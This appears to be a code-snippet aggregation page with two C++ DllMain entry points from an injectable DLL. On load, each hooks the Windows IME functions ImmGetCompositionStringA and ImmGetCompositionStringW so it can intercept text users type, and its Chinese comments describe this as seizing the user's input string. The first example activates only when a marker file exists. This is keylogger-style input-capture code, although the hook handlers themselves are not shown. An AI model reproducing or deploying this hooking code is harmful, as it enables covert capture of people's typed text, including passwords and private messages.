Example #1
0
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
   FILE *f = NULL;
   char *name = "C:\\Users\\administrator\\Desktop\\temp";
   switch(fdwReason)
    {
      case DLL_PROCESS_ATTACH:
		f = fopen(name,"r");
		if (f!=NULL)
		{
		  WM_HXWDLLWX_QQBTX=RegisterWindowMessage("WM_HXWDLLWX_QQBTX");//注册自定义消息
		  WM_HXWDLLWX_HOOKKEY=RegisterWindowMessage("WM_HXWDLLWX_HOOKKEY");//注册自定义消息
		  g_myHOOK1.HookApi("imm32.dll","ImmGetCompositionStringA",(int)myImmGetCompositionStringA);//把输入法赖以取得用户输入字符串的函数抢走
		  g_myHOOK2.HookApi("imm32.dll","ImmGetCompositionStringW",(int)myImmGetCompositionStringW);//把输入法赖以取得用户输入字符串的函数抢走
	   	  fclose(f);
		}
        break;
	  case DLL_THREAD_ATTACH:
		 break;
	  case DLL_THREAD_DETACH:
		 break;
      case DLL_PROCESS_DETACH:
		  g_myHOOK1.HookStatus(false);
		  g_myHOOK2.HookStatus(false);
        break;
      default:
        break;
    }
	return true;
}
Example #2
0
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
   switch(fdwReason)
    {
      case DLL_PROCESS_ATTACH:
		  WM_HXWDLLWX_QQBTX=RegisterWindowMessage("WM_HXWDLLWX_QQBTX");
		  WM_HXWDLLWX_HOOKKEY=RegisterWindowMessage("WM_HXWDLLWX_HOOKKEY");
		  g_myHOOK1.HookApi("imm32.dll","ImmGetCompositionStringA",(int)myImmGetCompositionStringA);
		  g_myHOOK2.HookApi("imm32.dll","ImmGetCompositionStringW",(int)myImmGetCompositionStringW);
        break;
	  case DLL_THREAD_ATTACH:
		 break;
	  case DLL_THREAD_DETACH:
		 break;
      case DLL_PROCESS_DETACH:
		  g_myHOOK1.HookStatus(false);
		  g_myHOOK2.HookStatus(false);
        break;
      default:
        break;
    }
	return true;
}